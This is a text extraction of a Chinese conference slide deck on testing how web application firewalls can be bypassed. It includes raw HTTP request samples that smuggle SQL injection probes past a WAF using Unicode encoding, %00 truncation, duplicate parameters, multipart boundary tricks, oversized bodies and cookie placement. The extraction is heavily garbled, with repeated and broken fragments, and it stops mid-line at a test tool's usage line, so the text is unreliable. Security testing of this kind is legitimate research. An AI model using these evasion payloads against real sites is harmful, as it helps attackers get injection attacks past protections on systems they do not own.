waf繞過(guò)測(cè)試技術(shù)_圖文

1、 By 吳卓群About Me About Me 目前就職于杭州安恒信息技術(shù)有限公司,任信息安全服務(wù) 部副總監(jiān) 高級(jí)安全研究員 部副總監(jiān)、高級(jí)安全研究員。從事多年的web應(yīng)用安全領(lǐng)域研究。擅長(zhǎng)漏洞發(fā)掘、代碼審計(jì)。 WAF現(xiàn)狀 WAF 處理協(xié)議方式WAF 繞過(guò)方法 Web應(yīng)用防火墻(WAFWeb應(yīng)用防火墻是通過(guò)執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來(lái)專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品, 目 前技 相當(dāng)成熟前技術(shù)已經(jīng)相當(dāng)成熟 。 WAF的安全現(xiàn)狀WAF是保護(hù)WEB應(yīng)用安全的設(shè)備,但缺乏足夠的安全測(cè) 試,目前存在大量手段可完全繞過(guò)WAF的防護(hù)策略,對(duì)保 護(hù)站點(diǎn)進(jìn)行攻擊 針對(duì) f的繞過(guò)手段可以通

2、過(guò)不完善的策略進(jìn)行繞過(guò) 但 針對(duì)waf的繞過(guò)手段可以通過(guò)不完善的策略進(jìn)行繞過(guò),但 風(fēng)險(xiǎn)更大的是利用解析錯(cuò)誤徹底繞過(guò)保護(hù)國(guó)內(nèi)外無(wú)論是硬件WAF還是云WAF至少90%以上存在徹 底繞過(guò)的風(fēng)險(xiǎn) WAF現(xiàn)狀 WAF 處理協(xié)議方式WAF 繞過(guò)方法 應(yīng)用防火墻常見構(gòu)架IPS模式 七層協(xié)議都通過(guò)程序解析,程序?yàn)閷?shí)現(xiàn)會(huì)話保持,通 常協(xié)議解碼較弱代理模式利用或修改現(xiàn)有的web中間件實(shí)現(xiàn)代理,并在中間件上增加 防護(hù)模塊實(shí)現(xiàn)防護(hù)?？傮w性能不如IPS模式 WAF的挑戰(zhàn)WAF在web應(yīng)用前可做為一個(gè)虛擬補(bǔ)丁,保護(hù)各種中間 件的安全。不同中間件對(duì)協(xié)議解析有一些微小的區(qū)別。 WAF需要在所有這些差別下防護(hù)所有被保護(hù)的站點(diǎn)

3、測(cè)試 基礎(chǔ) HTTP協(xié)議請(qǐng)求報(bào)文 GET請(qǐng)求數(shù)據(jù)包樣例GET /memberphp?username=aaa&password=bbbbHTTP/11rn GET /member.php?usernameaaa&passwordbbbb HTTP/1.1rn Accept: */*rnAccept-Language: zh-cnrnUser-Agent: Mozilla/4.0rnAccept-Encoding: gzip, deflaternPragma: no-cachern rn POST數(shù)據(jù)包樣例POST /memberphp HTTP/11rnPOST /member.php HTT

4、P/1.1rnAccept: */*rnAccept-Language: zh-cnrnUser-Agent: Mozilla/4.0rnContent-Type: application/x-www-form-urlencodernAccept-Encoding: gzip, deflaternp g g p,Content-Length: 118rnPragma:no cachernPragma: no-cachernrn username=fsdf&password=sdf&loginsubmit=true&return_type= 產(chǎn)生繞過(guò)的問(wèn)題的根源W f對(duì)數(shù)據(jù)包的解析和中間件的解析

5、存在區(qū)別 導(dǎo)致可能繞 Waf對(duì)數(shù)據(jù)包的解析和中間件的解析存在區(qū)別,導(dǎo)致可能繞 過(guò)waf測(cè)試方法使用協(xié)議級(jí)fuzzing發(fā)包進(jìn)行測(cè)試,判斷返回代碼,通常被 waf攔截后返回非200的響應(yīng)碼 WAF現(xiàn)狀 WAF 繞過(guò)方法WAF 繞過(guò)方法 通過(guò)策略缺陷繞過(guò)waf防護(hù) 通過(guò)策略缺陷繞過(guò) 防護(hù) 部分繞過(guò)waf 本次議題不詳細(xì)討論這部分 應(yīng)用防火墻構(gòu)架導(dǎo)致問(wèn)題IPS模式 分片問(wèn)題C t t L th 導(dǎo)致設(shè)備 b 巨大的 Content-Length ,導(dǎo)致設(shè)備 bypass 解碼較弱代理模式 使用高并發(fā)流量,導(dǎo)致設(shè)備切換 bypass 解析方法差異 通過(guò)編碼繞過(guò)使用截?cái)嘧址貜?fù)變量參數(shù)解析的異常針對(duì)域名

6、的保護(hù)對(duì)Content-type的不同理解 超大數(shù)據(jù)包變換變量位置Post不同解析方式異常數(shù)據(jù)包Ajax異步操作 利用編碼繞過(guò)POST /memberphp HTTP/11POST /member.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflatep g g p,Content-Length: 118Pragma:no cachePragma: no-cach

7、eusername=%u0078%u0078%u0078%u0020%u0061%u006e%u0064%u0020 %u0031%u003d%u0031&password=sdf&loginsubmit=true&return_type= 正則的%00、%0a、 ascii 00截?cái)郟OST /memberphp HTTP/11POST /member.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodefAccept

8、-Encoding: gzip, deflateContent-Length:118Content-Length: 118Pragma: no-cacheaaa=x%00&username=fsdf&password=sdf&loginsubmit=true&return_ty pe= 重復(fù)變量的繞過(guò), 重復(fù)變量的變體POST /member.php HTTP/1.1Accept: */*Accept-Language:zh-cnAccept Language: zhcnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-ur

9、lencodeA t E di i d fl tAccept-Encoding: gzip, deflateContent-Length: 118gPragma: no-cacheusername=fsdf andusername=fsdf and= &username=fsdf&password=sdf&loginsubmit=true&return_type= 利用WAF對(duì)參數(shù)解析的異常處理POST /member.php HTTP/1.1Accept: */*Accept-Language:zh-cnAccept Language: zhcnUser-Agent: Mozilla/4.0

10、Content-Type: application/x-www-form-urlencodeA t E di i d fl tAccept-Encoding: gzip, deflateContent-Length: 118gPragma: no-cacheUsername%00=xxxx&username=xxx and&username=xxx and=&password=sdf&loginsubmit=true&return_type= 繞過(guò)針對(duì)域名保護(hù)修改域名 域名為空 增加點(diǎn)號(hào) 域名增加t b等手段 修改域名,域名為空,增加點(diǎn)號(hào),域名增加tab等手段 POST /member.php

11、 HTTP/1.1Accept:*/*Accept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflateContent-Length: 118Pragma: no-cacheusername=fsdf&password=sdf&loginsubmit=true&return_type= 對(duì)Content-Type的不同理解 POST /memberphp HTTP/11POST /member.php

12、HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodexxxAccept-Encoding: gzip, deflatep g g p,Content-Length: 118Pragma:no cachePragma: no-cache username=fsdf&password=sdf&loginsubmit=true&return_type= 超大數(shù)據(jù)包繞過(guò)防護(hù)POST /memberphp HTTP/11POST /mem

13、ber.php HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodefAccept-Encoding: gzip, deflateHost: xxxContent-Length:118Content-Length: 118Pragma: no-cachea=x10000&username=fsdf&password=sdf&loginsubmit=true&return _type= 變換變量位置繞過(guò)POST /memberas

14、p HTTP/11POST /member.asp HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencode fAccept-Encoding: gzip, deflateHost: xxxContent-Length:118Content-Length: 118Pragma: no-cacheCookie: username=fsdfpassword=sdf&loginsubmit=true&return_type= 解 方式利用

15、不同POST的解析方式POST / HTTP/1.1Accept:*/*Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: multipart/form-data; boundary=-7dc33b8148092e yp p ; yAccept-Encoding: gzip, deflateContent-Length: 253Host: xxxxx-7dc33b8148092eContent-Disposition: form-data; name=usernameXxxx and 1=1-7dc33b8

16、148092eContent-Disposition: form-data; name=passwordp ; pddddd-7dc33b8148092e- 利用異常的數(shù)據(jù)包POST / HTTP/1.1Accept:*/*Accept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: multipart/form-data; boundary=-7dc33b8148092e Accept-Encoding: gzip, deflateContent-Length: 253Host: xxxxx-7dc33b8148092

17、eContent-Disposition: form-data; name=usernameXxxx and 1=1-7dc33b8148092eContent-Disposition: form-data; name=passwordddddd-7dc33b8148092e- Ajax異步操作的特殊處理POST /memberasp HTTP/11POST /member.asp HTTP/1.1Accept: */*Accept-Language: zh-cnUser-Agent: Mozilla/4.0Content-Type: application/x-www-form-urlencodeAccept-Encoding: gzip, deflatep g g p,Host: xxxX-Requested-With: XMLHttpRequestContent Length:118Content-Length: 118Pragma: no-cacheusername=fsdf and = &password=sdf&loginsubmit=true&return_type= 測(cè)試程序waftest usage:wafte